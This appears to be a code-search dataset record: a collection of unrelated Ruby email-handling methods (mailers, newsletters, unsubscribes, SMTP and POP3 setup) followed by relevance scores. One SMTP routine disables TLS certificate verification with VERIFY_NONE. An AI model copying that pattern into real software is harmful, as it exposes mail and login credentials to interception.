"def resend_invitation_emails(invitations)\n invitations.each do |invitation|\n Course::Mailer.user_invitation_email(@current_course, invitation).deliver_later\n end\n ids = invitations.select(&:id)\n Course::UserInvitation.where(id: ids).update_all(sent_at: Time.zone.now)\n true\n end",
"def tick \n mailer.messages.each do |request| \n response = mailer.new_message(:to => request.from, \n :from => settings.service.default_sender)\n\n process_request(request, response) && response.deliver\n end\n rescue StandardError => e\n logger.fatal(\"SERVER ERROR\") { \"#{e.inspect}\\n\" + e.backtrace.join(\"\\n \") }\n raise\n end",
"def workers!\n LambdaMail::Mailing::SendSpecialEmailMessageWorker.drain\nend",
"def mail(headers={}, &block)\n # TODO: always send to support@bountysource.com and feedback@bountysource.com\n # TODO: never send to qa+?@bountysource.com or null-#@bountysource.com\n\n # doesn't actually do anything, sorry!\n faux_mailer = OpenStruct.new(deliver: nil)\n\n if @unsubscribe_category\n # check if they unsubscribed? (checks person, linked_accounts, emails, etc).\n categories = ['all', @unsubscribe_category]\n categories << 'bounty_alerts' if @unsubscribe_category['bounty_alerts']\n categories << 'team_updates' if @unsubscribe_category['team_updates']\n return faux_mailer if Unsubscribe.d?(headers[:to], categories)\n\n url = \"#{Api::Application.config.www_url}notifications/unsubscribe\"\n params = {\n email: @unsubscribe_token,\n type: @unsubscribe_category\n }\n @unsubscribe_link = \"#{url}?#{params.to_param}\"\n end\n\n # add a prefix to the email in dev/qa mode\n headers[:subject] = \"[#{ENV['SMTP_SUBJECT_PREFIX']}] #{headers[:subject]}\" unless ENV['SMTP_SUBJECT_PREFIX'].blank?\n\n # do we really send an email?\n if ENV['SMTP_WHITELIST'].blank? || ENV['SMTP_WHITELIST'].split(',').include?(headers[:to])\n super headers, &block\n else\n Rails.logger.debug \"MOCK EMAIL: #{headers[:to]} -- #{headers[:subject]}\"\n return faux_mailer\n end\n end",
"def send_email(options = {})\n options = { server: 'remotesmtp.freescale.net',\n port: 25,\n from: '',\n from_alias: '',\n subject: '',\n body: '',\n to: ''\n }.merge(options)\n\n # Force to an array\n to = options[:to].respond_to?('each') ? options[:to] : [options[:to]]\n\n # Convert any user objects to an email\n to = to.map { |obj| obj.respond_to?('email') ? obj.email : obj }\n\n to.uniq.each do |addr|\n msg = <<END_OF_MESSAGE\nFrom: #{options[:from_alias]} <#{options[:from]}>\nTo: #{addr}\nSubject: #{options[:subject]}\n\n#{options[:body]}\n\nEND_OF_MESSAGE\n\n begin\n # Exceptions raised here will be caught by rescue clause\n Net::SMTP.start(options[:server], options[:port]) do |smtp|\n smtp.send_message msg, options[:from], addr\n end\n rescue\n warn \"Email not able to be sent to address '#{addr}'\"\n end\n end\n end",
"def devalert(subject, body='', extra_to=[])\n recipients = CONTACT_EMAIL_ACCOUNTS\n if RAILS_ENV == 'production'\n extra_to = [extra_to] if extra_to.is_a?(String)\n recipients = [recipients].concat(extra_to).join(',')\n end\n @subject = subject\n @body = {:msg => body}\n @recipients = recipients\n @from = ALERT_EMAIL_DEV\n @sent_on = Time.now\n @headers = {}\n end",
"def resend_activation_emails\n User.where.not(person: nil).where.not(activation_code: nil).each do |user|\n if user.person\n logs = user.person.activation_email_logs\n if logs.count < MAX_ACTIVATION_EMAILS && (logs.empty? || logs.last.created_at < RESEND_ACTIVATION_EMAIL_DELAY.ago)\n Mailer.activation_request(user).deliver_later\n MessageLog.log_activation_email(user.person)\n end\n else\n Rails.logger.info(\"User with invalid person - #{user.id}\")\n end \n end\n end",
"def unsubscribe_all\n # Get an array of all the email addresses accociated with this devise class.\n emails = all.map(&:email).select {|e| Devise::Models::Campaignable.valid_campaign_email? e}\n\n # Ask the list managed to subscibe all of these emails.\n list_manager.batch_unsubscribe(emails) \n end",
"def rails_send_email(action)\n email = rails_create_email(action)\n email.public_send(rails_mailer_deliver_method)\n end",
"def notifier_to_users(recipients, task)\r\n recipients.each do |recipient, outcome|\r\n if recipient =~ /#{SEND_EMAILS_ONLY_FOR_DOMAIN}/\r\n puts \"Sending email to #{recipient}...\"\r\n begin\r\n Notifier.deliver_user_notification(recipient, outcome, task)\r\n rescue StandardError => err\r\n puts err.message\r\n end\r\n else\r\n puts \"Email to #{recipient} not sent\"\r\n end\r\n end\r\nend",
"def mailboxer_email(object)\n shouldSendEmail = true\n email if shouldSendEmail\n end",
"def attempt_delivery\n send(EmailProxy.provider)\n end",
"def call\n users_to_notify.uniq.each do |recipient|\n workflow_message_mailer(to: recipient).send(mailer_method).deliver_later\n end\n end",
"def resend_activation_email\n create_activation_digest\n save\n send_activation_email\n end",
"def do_smtp(mail_account)\n\n recipients = []\n\n if self.to_addresses.nil? or self.to_addresses.empty?\n email_to = nil\n else\n email_to = self.get_to_addresses\n recipients.concat(email_to)\n email_to.map! { |addr|\n EmailsHelper.encode_disp_name(addr)\n }\n end\n if self.cc_addresses.nil? or self.cc_addresses.empty?\n email_cc = nil\n else\n email_cc = self.get_cc_addresses\n recipients.concat(email_cc)\n email_cc.map! { |addr|\n EmailsHelper.encode_disp_name(addr)\n }\n end\n if self.bcc_addresses.nil? or self.bcc_addresses.empty?\n email_bcc = nil\n else\n email_bcc = self.get_bcc_addresses\n recipients.concat(email_bcc)\n end\n\n sender = self.from_address\n email_from = EmailsHelper.encode_disp_name(sender)\n\n if !self.reply_to.nil? and !self.reply_to.empty?\n reply_to = self.reply_to\n elsif !mail_account.reply_to.nil? and !mail_account.reply_to.empty?\n reply_to = EmailsHelper.encode_disp_name(mail_account.reply_to)\n else\n reply_to = nil\n end\n\n if mail_account.organization.nil? or mail_account.organization.empty?\n organization = nil\n else\n organization = EmailsHelper.encode_b(mail_account.organization)\n end\n\n has_attach = !(self.mail_attachments.nil? or self.mail_attachments.empty?)\n boundary = Digest::SHA1.hexdigest(Time.now.to_f.to_s)\n\n email_content = ''\n email_content << \"From: #{email_from}\\n\"\n unless email_to.nil?\n email_content << \"To: #{email_to.join(\",\\n \")}\\n\"\n end\n unless email_cc.nil?\n email_content << \"Cc: #{email_cc.join(\",\\n \")}\\n\"\n end\n unless reply_to.nil?\n email_content << \"Reply-To: #{reply_to}\\n\"\n end\n unless organization.nil?\n email_content << \"Organization: #{organization}\\n\"\n end\n email_content << \"Subject: #{EmailsHelper.encode_b(self.subject)}\\n\"\n email_content << \"Date: #{Time::now.strftime('%a, %d %b %Y %X %z')}\\n\"\n email_content << \"Mime-Version: 1.0\\n\"\n email_content << \"User-Agent: Thetis\\n\"\n if has_attach\n email_content << \"Content-Type: multipart/mixed; boundary=#{boundary}\\n\"\n email_content << \"\\n\"\n email_content << \"--#{boundary}\\n\"\n end\n email_content << \"Content-Type: text/plain; charset=utf-8\\n\"\n email_content << \"Content-Transfer-Encoding: base64\\n\"\n email_content << \"\\n\"\n email_content << \"#{[self.message].pack('m')}\\n\"\n=begin\n email_content << <<EOT\n#{Base64::encode64(self.message).scan(/.{1,60}/).join(\"\\n\")}\nEOT\n=end\n\n# logger.fatal email_content\n\n if has_attach\n email_content << \"\\n\"\n self.mail_attachments.each do |mail_attach|\n attach_name = EmailsHelper.encode_b(mail_attach.name)\n\n attach_content = File.open(mail_attach.get_path).readlines.join('')\n\n email_content << \"--#{boundary}\\n\"\n email_content << \"Content-Type: application/octet-stream;\\n\"\n email_content << \" name=\\\"#{attach_name}\\\"\\n\"\n email_content << \"Content-Disposition: attachment;\\n\"\n email_content << \" filename=\\\"#{attach_name}\\\"\\n\"\n email_content << \"Content-Transfer-Encoding: base64\\n\"\n email_content << \"\\n\"\n email_content << \"#{[attach_content].pack('m')}\\n\"\n end\n email_content << \"--#{boundary}--\\n\"\n end\n\n # Do SMTP\n smtp = Net::SMTP.new(mail_account.smtp_server, mail_account.smtp_port)\n\n case mail_account.smtp_secure_conn\n when MailAccount::SMTP_SECURE_CONN_STARTTLS\n context = Net::SMTP.default_ssl_context\n context.verify_mode = OpenSSL::SSL::VERIFY_NONE\n smtp.enable_starttls(context)\n # smtp.enable_starttls_auto \n\n when MailAccount::SMTP_SECURE_CONN_SSL_TLS\n smtp.enable_ssl(OpenSSL::SSL::VERIFY_NONE)\n end\n\n if mail_account.smtp_auth\n smtp.start('localhost.localdomain', mail_account.smtp_username, mail_account.smtp_password, mail_account.smtp_auth_method) do |_smtp|\n _smtp.sendmail(email_content, sender, recipients.uniq)\n end\n else\n smtp.start do |_smtp|\n _smtp.sendmail(email_content, sender, recipients.uniq)\n end\n end\n\n begin\n self.save_raw(email_content)\n rescue => evar\n Log.add_error(nil, evar)\n end\n end",
"def my_override_destinations!(mail)\n mail.bcc = nil\n mail.cc = nil\n mail.to = my_recipients\n mail\n end",
"def deliver\n #find all the abonnes emails\n @abonnes = Abonne.all.collect(&:email)\n # Sends the newsletter to each one\n @abonnes.each do |abonne|\n NewsletterMailer.deliver_newsletter(abonne, self)\n end\n # Set the delivered_at time to now\n self.update_attribute(:delivered_at, Time.now)\n end",
"def batch_unsubscribe(email)\n # Raise an error to warn it isn't implemented.\n raise NotImplementedError.new\n end",
"def complete_post_processing_tasks\n process_incident_issues if process_issues?\n send_alert_email if send_email? && notifying_alert?\n end",
"def after_proxy_connected\n use_smtp_interpreter!\n end",
"def tick \n mailer.messages.each do |request| \n response = mailer.new_message(:to => request.from, \n :from => settings.service.default_sender)\n \n begin\n apps.each do |app|\n app.call(:request => request, \n :response => response, \n :settings => settings,\n :logger => logger)\n end\n rescue StandardError => e\n logger.info(\"FAIL\") { e.to_s }\n logger.debug(\"FAIL\") { \"#{e.inspect}\\n\"+e.backtrace.join(\"\\n \") }\n\n if settings.service.raise_exceptions\n raise\n else\n next\n end\n end\n\n response.deliver\n end\n rescue Exception => e\n logger.fatal(\"Caught exception: #{e}\\n\\n#{e.backtrace.join(\"\\n\")}\")\n raise\n end",
"def flush\n synch { send_mail }\n Logger.log_internal {\"Flushed EmailOutputter '#{@name}'\"}\n end",
"def flush\n synch { send_mail }\n Logger.log_internal {\"Flushed EmailOutputter '#{@name}'\"}\n end",
"def process(&after_each_message)\n Mail.all(read_only: false, delete_after_find: true) do |message|\n message.skip_deletion unless process_message(message)\n after_each_message.call(message) if after_each_message\n end\n end",
"def deliver_email\n#puts \"**** deliver_email: emails=#{emails}\"\n emails = @contact_info.map {|c| c[:email]}.compact.uniq\n self.subject ||= 'Message from SIM Nigeria'\n id_for_reply = self.following_up || id # a follow-up message uses id of the original msg\n#puts \"**** Messages#deliver_email response_time_limit=#{response_time_limit}\"\n outgoing = Notifier.send_group_message(:recipients=>emails, :content=>self.body, \n :subject => subject, :id => id_for_reply , :response_time_limit => response_time_limit, \n :bcc => true, :following_up => following_up) # send using bcc:, not to:\nraise \"send_email with nil email produced\" if outgoing.nil?\n outgoing.deliver\n # Mark all as being sent, but only if they have an email address\n # This is terribly inefficient ... need to find a way to use a single SQL statement\n sent_messages.each do |sm| \n sm.update_attributes(:msg_status => MsgSentToGateway) if sm.member.primary_email\n end\n end",
"def perform\n @newsletter = create_newsletter\n send_emails\n end",
"def deliver_security_notification_destroy\n deliver_security_notification(\n recipients: [address],\n message: :mail_body_security_notification_remove,\n field: :field_mail,\n value: address\n )\n end",
"def mail; end",
"def empty_mailboxes\n\t\t\tempty_mailbox\n\t\t\tempty_temp_mailbox\n\t\tend",
"def deliver!(mail)\n allowed_emails=Proc.new {|a| settings[:whitelist].include?(a) }\n mail.to=mail.to_addrs.select(&allowed_emails)+settings[:recipient_email]\n mail.bcc=mail.bcc_addrs.select(&allowed_emails)\n mail.cc=mail.cc_addrs.select(&allowed_emails)\n super(mail)\n end",
"def setup_mailer\n if self.ssl\n self.port = DEFAULT_SSL_PORT if self.port.nil?\n else\n self.port = DEFAULT_PORT if self.port.nil?\n end\n\n if old_server != server or old_port != port\n @mailer = Net::POP3.new( self.server, self.port )\n end\n\n if self.ssl\n @mailer.enable_ssl\n else\n @mailer.disable_ssl\n end\n\n # keep track of old server and port\n self.old_server = self.server\n self.old_port = self.port\n end",
"def send_to_admins\n @all_recipients = User.where(:receive_admin_email => true)\n raise NoRecipients if @all_recipients.blank?\n @all_recipients.group_by(&:language).each do |lang, users|\n @recipients = users\n mail_with_locale users, lang\n end\n end",
"def destroy\n @applications=JobApplication.find_by_job_id(@job.id)\n @ids=@applications.user_id\n @users=User.where(id: @ids)\n #byebug\n respond_to do |format|\n if @job.destroy\n for user in @users\n mail=UserMailer.welcome_email(user)\n mail.deliver_now\n end\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n else\n format.html { render action: 'new' }\n format.json { render json: @users.errors, status: :unprocessable_entity }\n end\n #@job.destroy\n # UserMailer.welcome_email(@user).deliver_later\n #respond_to do |format|\n # format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n #format.json { head :no_content }\n #end\n end\nend",
"def finish\n self.class.debug_log(\"SAVE #{flavor} \" \\\n \"from=#{begin\n user.login\n rescue StandardError\n \"nil\"\n end} \" \\\n \"to=#{begin\n to_user.login\n rescue StandardError\n \"nil\"\n end} \" +\n queued_email_integers.map { |x| \"#{x.key}=#{x.value}\" }.join(\" \") +\n queued_email_strings.map { |x| \"#{x.key}=\\\"#{x.value}\\\"\" }.join(\" \"))\n current_locale = I18n.locale\n unless MO.queue_email || QueuedEmail.queue\n deliver_email if RunLevel.is_normal?\n destroy\n end\n I18n.locale = current_locale\n end",
"def setup\n ActionMailer::Base.delivery_method = :test\n ActionMailer::Base.perform_deliveries = true\n ActionMailer::Base.deliveries = []\n end",
"def create_mail\n # Removes the current user from the recipients and cc\n # if he doesn't want to receive notifications about what he does\n @author ||= User.current\n if @author.pref[:no_self_notified]\n recipients.delete(@author.mail) if recipients\n cc.delete(@author.mail) if cc\n end\n \n notified_users = [recipients, cc].flatten.compact.uniq\n # Rails would log recipients only, not cc and bcc\n mylogger.info \"Sending email notification to: #{notified_users.join(', ')}\" if mylogger\n \n # Blind carbon copy recipients\n if Setting.bcc_recipients?\n bcc(notified_users)\n recipients []\n cc []\n end\n super\n end",
"def flush_error_emails(args = {})\n @error_emails_pending_mutex.synchronize do\n send_time_older_than = Time.new.to_i - @error_emails_time\n \n @error_emails_pending.each do |backtrace_hash, error_email|\n if !args[:ignore_time] and send_time_older_than < error_email[:last_time].to_i and error_email[:messages].length < 1000\n next\n end\n \n @config[:error_report_emails].each do |email|\n next if !email or error_email[:messages].length <= 0\n \n if error_email[:messages].length == 1\n html = error_email[:messages].first\n else\n html = \"<b>First time:</b> #{Datet.in(error_email[:first_time]).out}<br />\"\n html << \"<b>Last time:</b> #{Datet.in(error_email[:last_time]).out}<br />\"\n html << \"<b>Number of errors:</b> #{error_email[:messages].length}<br />\"\n count = 0\n \n error_email[:messages].each do |error_msg|\n count += 1\n \n if count > 10\n html << \"<br /><br /><b><i>Limiting to showing 10 out of #{error_email[:messages].length} messages.</i></b>\"\n break\n end\n \n html << \"<br /><br />\"\n html << \"<b>Message #{count}</b><br />\"\n html << error_msg\n end\n end\n \n self.mail(\n :to => email,\n :subject => error_email[:subject],\n :html => html,\n :from => @config[:error_report_from]\n )\n end\n \n @error_emails_pending.delete(backtrace_hash)\n end\n end\n end",
"def send_email( attachments=[], subject_var='Automated Email', to_ary=Passwords::MyName, body_var='Automated email', bcc_ary = [] )\n\n # Standardise email addresses into an array in case a string was passed through\n to_ary = [ to_ary ].flatten.compact\n bcc_ary = [ bcc_ary ].flatten.compact\n \n # Remove whitespace and add a domain if required.\n # This allows more readable and DRY names to be passed into the method.\n mailify = -> name { name.include?('@') ? name : ( name + Passwords::EmailSuffix ).gsub(/\\s/,'') }\n to_ary.map! { |name| mailify[ name ] }\n \n bcc_ary = bcc_ary.map { |name| mailify[ name ] }\n \n # Make sure attachments is an array\n attachments = [ attachments ].flatten if attachments.size != 0\n\n options = { address: Passwords::EmailServer,\n port: 25,\n user_name: Passwords::EmailUser,\n password: Passwords::EmailPass,\n authentication: 'plain',\n enable_starttls_auto: true }\n \n Mail.defaults do\n delivery_method :smtp, options\n end\n\n Mail.deliver do\n from Passwords::EmailUser + Passwords::EmailSuffix\n to to_ary\n subject subject_var\n attachments.each { |filename| add_file(filename) } unless attachments.empty?\n body body_var\n bcc bcc_ary\n end\n\n end",
"def deliver(mail_type, clean = true)\n clean() if clean\n self.save()\n self.recipients.each do |r|\n delivery = Delivery.new(\n :message => self,\n :conversation => self.conversation,\n :mail_type => mail_type.to_s,\n :user => r\n )\n r.deliveries << delivery\n end\n end",
"def deliver mail\n if @cfg[:deliver]\n mail.deliver!\n logger.debug \"Files were emailed to #{mail.to}\"\n else\n logger.debug \"Files would have been emailed to #{mail.to}, but #{self.class.name} is configured not to\"\n end\n end",
"def deliver_email(mail)\n if mail.respond_to?(:deliver_later)\n mail.deliver_later\n else\n mail.deliver\n end\n end",
"def rails_create_email(action)\n rails_mailer.public_send(action, self)\n end",
"def delete_all\n start do |pop3|\n unless pop3.mails.empty?\n pop3.delete_all\n pop3.finish\n end\n end\n end",
"def sendMail(body)\n options = { :address => $advanced['mail']['address'],\n :port => $port,\n :domain => ENV['HOSTNAME'],\n :user_name => $advanced['mail']['username'],\n :password => $advanced['mail']['password'],\n :authentication => nil,\n :enable_starttls_auto => true }\n Mail.defaults do\n delivery_method :smtp, options\n end\n\n users = Array.new\n\n # Logic for pulling the email accounts from Plex.tv and/or the\n\t# config file\n\tplexTv = PlexTv.new($advanced)\n\n\tif !$testEmail\n \t if $plexEmails\n plex_users = plexTv.get('/pms/friends/all')\n\n if plex_users.nil? || plex_users.empty?\n $logger.info(\"No Plex friends found.\") \n else \n plex_users['MediaContainer']['User'].each do | user |\n\t\t\tif !user['email'].empty?\n users.push(user['email'])\n\t\t\tend\n end\n end\n\t end\n\t if !$advanced['mail']['recipients'].nil? || !$advanced['mail']['recipients_email'].nil?\n\t if !$advanced['mail']['recipients_email'].nil?\n\t $advanced['mail']['recipients_email'].each do | recipient |\n\t\t users.push(recipient)\n\t end\n\t end\n\t if !$advanced['mail']['recipients'].nil?\n\t\t $advanced['mail']['recipients'].each do | recipient |\n\t\t plex_users = plexTv.get('/pms/friends/all')\n plex_users['MediaContainer']['User'].each do | user |\n\t\t if user['username'] == recipient\n users.push(user['email'])\n\t\t\t end\n end\n\t\t end\n\t end\n\t end\n\tend\n\n #Get owner's email as well and add it to the list of recpients\n users.push(plexTv.get('/users/account')['user']['email'][0])\n \n\t#used to send individual email. Now it bcc's one email\n #users.each do | user |\n mail = Mail.new do\n from \"#{$advanced['mail']['from']} <#{$advanced['mail']['username']}>\"\n bcc users\n subject $advanced['mail']['subject'] + \" \" + (I18n.l Time.now.to_date)\n content_type 'text/html; charset=UTF-8'\n body body\n end\n begin\n mail.deliver!\n\t\t\trescue => e\n\t\t\t $logger.info(\"SMTP mailing failed!\\n#{e.message}#{e.backtrace}\")\n\t\t\tend\n #end\n end",
"def deliver_tweets(tweets=nil)\n exit unless tweets\n chained_tweets = \"\"\n tweets.each {|tweet| chained_tweets += \"#{tweet.id} #{tweet.text} \\n\"}\n msg = \"Subject: New tweets on #{Time.now} for #{@account_name}\\n\\n#{chained_tweets}\"\n smtp = Net::SMTP.new 'smtp.gmail.com', 587\n smtp.enable_starttls\n smtp.start(\"gmail.com\", @account['credentials']['email_address'], @account['credentials']['email_password'], :login) do\n smtp.send_message(msg, @account['credentials']['email_address'], @account['deliver_to'])\n end\n end",
"def clear_queue\n case @remove\n when 'one'\n puts \"Clearing e-mails #{@search_direction} #{@email}\"\n puts ''\n `exiqgrep -i #{@direction} #{@email} | xargs -P10 -i exim -Mrm '{}' >/dev/null`\n when 'all'\n if @valid_domain\n puts \"Removing all e-mails #{@search_direction} #{@domain}\"\n `exiqgrep -i #{@direction} #{@domain} | xargs -P10 -i exim -Mrm '{}' >/dev/null`\n else\n puts \"#{@domain} is not a valid local domain. Removing e-mails #{@search_direction} #{@email} instead\"\n `exiqgrep -i #{@direction} #{@email} | xargs -P10 -i exim -Mrm '{}' >/dev/null`\n end\n else\n puts \"Didn't remove any emails from the mailque\"\n end\n end",
"def perform_deliveries\n @asq.deliveries.each(&:deliver)\n end",
"def deliver_rts email, documents, mail_to\n logger.info \"Sending response mail to #{mail_to}\"\n mail = Mail.new\n mail.from @cfg[:from]\n mail.to mail_to\n # CCs to the original email will get a copy of the converted files as well\n mail.cc (email.cc - email.to - (@cfg[:cc_blacklist]||[]) ) if email.cc # Prevent autoheathen infinite loop!\n # Don't prepend yet another Re:\n mail.subject \"#{'Re: ' unless email.subject.start_with? 'Re:'}#{email.subject}\"\n # Construct received path\n # TODO: is this in the right order?\n #rcv = \"by localhost(autoheathen); #{Time.now.strftime '%a, %d %b %Y %T %z'}\"\n #[email.received,rcv].flatten.each { |rec| mail.received rec.to_s }\n mail.return_path email.return_path if email.return_path\n mail.header['X-Received'] = email.header['X-Received'] if email.header['X-Received']\n documents.each do |doc|\n next if doc[:content].nil?\n mail.add_file filename: doc[:filename], content: doc[:content]\n end\n cfg = @cfg # stoopid Mail scoping\n me = self # stoopid Mail scoping\n mail.text_part do\n s = Haml::Engine.new( me.read_file cfg[:text_template] ).render(Object.new, to: mail_to, documents: documents, cfg: cfg)\n body s\n end\n mail.html_part do\n content_type 'text/html; charset=UTF-8'\n s = Haml::Engine.new( me.read_file cfg[:html_template] ).render(Object.new, to: mail_to, documents: documents, cfg: cfg)\n body s\n end\n mail.delivery_method :smtp, address: @cfg[:mail_host], port: @cfg[:mail_port]\n deliver mail\n end",
"def deactivate_all\n Smtpserver.activated.update_all active:false\n end",
"def send_email_before_destroy\n\n #Do nothing if challenge has been closed\n return if(self.start_date + self.duration < Date.current)\n\n contestants = self.users\n\n #Send email to creator\n UserMailer.challenge_deleted_creator(self.creator, self).deliver\n\n #Send email to contestants\n contestants.each do |c|\n UserMailer.challenge_deleted_contestant(c, self).deliver\n end\n\n end",
"def send_emails(number_of_emails)\r\n SendEmails(number_of_emails)\r\n end",
"def unsubscrible\n NewsletterMailer.unsubscrible\n end",
"def deleteAllEmail\n queryParams = Hash.new\n queryParams['key'] = @API_KEY\n queryParams['mailbox'] = @MAILBOX\n RestClient.post(\"#{@BASE_URI}/emails/deleteall\", nil, {:params => queryParams})\n end",
"def ignore_test_sendtext\r\n\t\t@mailer.subject = 'test ruby smtp lib'\r\n\t\t@mailer.body = [\r\n\t\t\t'test ruby smtp', \r\n\t\t\t'test ruby sendmail',\r\n\t\t\t]\r\n\t\t@mailer.sendtext()\r\n\tend",
"def send_to_admins(sender, subject, text, options={})\n orig_options = options\n options = {\n :sender => sender,\n :subject => subject,\n :text => text\n }\n options.merge!(orig_options)\n message = create_java_message(options)\n convert_mail_exceptions { service.send_to_admins(message) }\n end",
"def send_email\n return true unless RunLevel.is_normal?\n\n log_msg = \"SEND #{flavor} \" \\\n \"from=#{user&.login || \"nil\"} \" \\\n \"to=#{to_user&.login || \"nil\"} \" +\n queued_email_integers.map { |x|\n \"#{x.key}=#{x.value}\"\n }.join(\" \") +\n queued_email_strings.map do |x|\n \"#{x.key}=\\\"#{x.value}\\\"\"\n end.join(\" \")\n self.class.debug_log(log_msg)\n current_locale = I18n.locale\n result = false\n if user.present? && user == to_user\n unless Rails.env.test?\n raise(\"Skipping email with same sender and recipient: #{user.email}\\n\")\n end\n else\n result = deliver_email\n end\n I18n.locale = current_locale\n result\n rescue StandardError => e\n warn(\"ERROR CREATING EMAIL\")\n warn(log_msg)\n warn(e)\n warn(e.backtrace)\n I18n.locale = current_locale\n false\n end",
"def mailer; end",
"def send_an_email\r\n SendEmails.new(1)\r\n end",
"def importing_update( email_list )\n @failed_registrations = FailedRegistration.all \n # email_list.each do | email | \n mail( :to => email_list, \n :subject => \"potoSchool | Tarumanegara Failed Registration #{Time.now}\" )\n # end\n end",
"def destroy\n @receive_email.destroy\n respond_to do |format|\n format.html { redirect_to receive_emails_url, notice: 'Receive email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def generate_mails( contacts, do_save_mail = true, layout_options={} )\r\n\t\t\tself.class.transaction do\r\n\t\t\t\tcontacts.each do |contact|\r\n\t\t\t\t\tmail = self.mails.build(\r\n\t\t\t\t\t:email => contact.email,\r\n\t\t\t\t\t:first_name => contact.first_name,\r\n\t\t\t\t\t:last_name => contact.last_name,\r\n\t\t\t\t\t:company_name => contact.company_name,\r\n\t\t\t\t\t:account_num => contact.account_num,\r\n\t\t\t\t\t:sales_id => contact.sales_id,\r\n\t\t\t\t\t:token => contact.token,\r\n\t\t\t\t\t:content => contact.content,\r\n\t\t\t\t\t:rep_email => contact.rep_email,\r\n\t\t\t\t\t:created_at => contact.created_at,\r\n\t\t\t\t\t:updated_at => contact.updated_at,\r\n\t\t\t\t\t:read_at => contact.read_at,\r\n\t\t\t\t\t:sent_at => contact.sent_at,\r\n\t\t\t\t\t:name => contact.name\r\n\t\t\t\t\t)\r\n\t\t\t\t\tmail.save! if do_save_mail\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend",
"def delete_attachments\n delete_attachment_queue.each {|k,v| delete_grid_attachment(k,v)}\n end",
"def send_test(addresses)\n\n to_list = addresses\n cc_list = []\n subject = 'Test from PCB Tracker'\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list\n ) \n end",
"def deliver\n Mail.new(from: from, to: formatted_to, body: sanitized_message).deliver!\n end",
"def create\n @email_update = EmailUpdate.new(params[:email_update])\n\n respond_to do |format|\n if @email_update.save\n @emailList = Email.pluck(:email)\n @emailList.each do |recipient|\n UserMailer.info_email(@email_update.subject, @email_update.message, recipient).deliver \n end\n format.html { redirect_to @email_update, notice: 'Email update was successfully created.' }\n format.json { render json: @email_update, status: :created, location: @email_update }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def empty_mailing_lists\n\tbegin\n\t\tmailing_lists.each do |list_name|\n\t\t\tlist_id = Rails.configuration.mailing_lists[:mailchimp_list_ids][list_name.to_sym]\n\t\t\tr = Gibbon::Request.lists(list_id).members.retrieve params: {fields: 'members.email_address'}\n\t\t\tr['members'].try(:each) do |member|\n\t\t\t\temail = member['email_address']\n\t\t\t\tGibbon::Request.lists(list_id).members(email_md5_hash(email)).delete\n\t\t\tend\n\t\tend\n\trescue Gibbon::MailChimpError => e\n\t\tputs \"MailChimp error while deleting: #{e.title}; #{e.detail}; status: #{e.status_code}\"\n\tend\nend",
"def batch_unsubscribe(emails=[])\n # Prepate the batch of subscribe operations to be called.\n operations = []\n\n # Create a upsert operations for each of the email addresses.\n emails.each do |email|\n # The operation is manually compiled as the Gibbon\n # gem doesn't give us an easy way of doing this.\n operations.append({\n :method => \"PATCH\",\n :path => \"/lists/#{@campaignable_list_id}/members/#{subscriber_hash(email)}\",\n :body => { :status => \"unsubscribed\" }.to_json\n })\n end\n\n # Make the request to process the batch of operations\n api.batches.create(body: {:operations => operations})\n end"
] |
[
"0.74359477",
"0.68675333",
"0.6793968",
"0.62474155",
"0.6243085",
"0.6225857",
"0.62187994",
"0.5949341",
"0.589956",
"0.58162725",
"0.58092415",
"0.58041835",
"0.57886827",
"0.5768428",
"0.5722108",
"0.57078016",
"0.57051814",
"0.5694457",
"0.5667452",
"0.5666899",
"0.5567197",
"0.5561122",
"0.55568326",
"0.5549961",
"0.5519582",
"0.55160534",
"0.55147916",
"0.5504861",
"0.5490372",
"0.5480597",
"0.54730153",
"0.5463366",
"0.5458952",
"0.545369",
"0.543413",
"0.5431039",
"0.5425207",
"0.54234767",
"0.54214734",
"0.54201436",
"0.54173386",
"0.5414588",
"0.54053956",
"0.5398837",
"0.53949773",
"0.538934",
"0.53878427",
"0.53843194",
"0.5379171",
"0.53714776",
"0.5361905",
"0.5360916",
"0.53495973",
"0.53390324",
"0.533773",
"0.533773",
"0.53353286",
"0.533348",
"0.5324019",
"0.5321947",
"0.5314468",
"0.53098845",
"0.53046113",
"0.52916646",
"0.52899325",
"0.5289624",
"0.52817714",
"0.5268919",
"0.5261221",
"0.5257034",
"0.5248212",
"0.5246784",
"0.5243392",
"0.5242634",
"0.5231969",
"0.52253413",
"0.5225249",
"0.5216476",
"0.52095085",
"0.520884",
"0.52068526",
"0.5204705",
"0.52015024",
"0.51946306",
"0.518418",
"0.51826817",
"0.517926",
"0.5174215",
"0.5168705",
"0.5164613",
"0.5159036",
"0.5158223",
"0.5158007",
"0.515767",
"0.5144918",
"0.5144826",
"0.5141012",
"0.5138624",
"0.51365834",
"0.513576"
] |
0.66649336
|
3
|
Prepares ar_sendmail for exiting
|
def do_exit
log "caught signal, shutting down"
self.class.remove_pid_file
exit 130
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def finish\n self.class.debug_log(\"SAVE #{flavor} \" \\\n \"from=#{begin\n user.login\n rescue StandardError\n \"nil\"\n end} \" \\\n \"to=#{begin\n to_user.login\n rescue StandardError\n \"nil\"\n end} \" +\n queued_email_integers.map { |x| \"#{x.key}=#{x.value}\" }.join(\" \") +\n queued_email_strings.map { |x| \"#{x.key}=\\\"#{x.value}\\\"\" }.join(\" \"))\n current_locale = I18n.locale\n unless MO.queue_email || QueuedEmail.queue\n deliver_email if RunLevel.is_normal?\n destroy\n end\n I18n.locale = current_locale\n end",
"def order_in_progress\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def mail; end",
"def host_confirmation\n \t#binding.pry\n \tSendMailToHost.host_confirmation(self).deliver!\n end",
"def mailer; end",
"def transaction_complete\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def send_activation_or_reset_mail\n end",
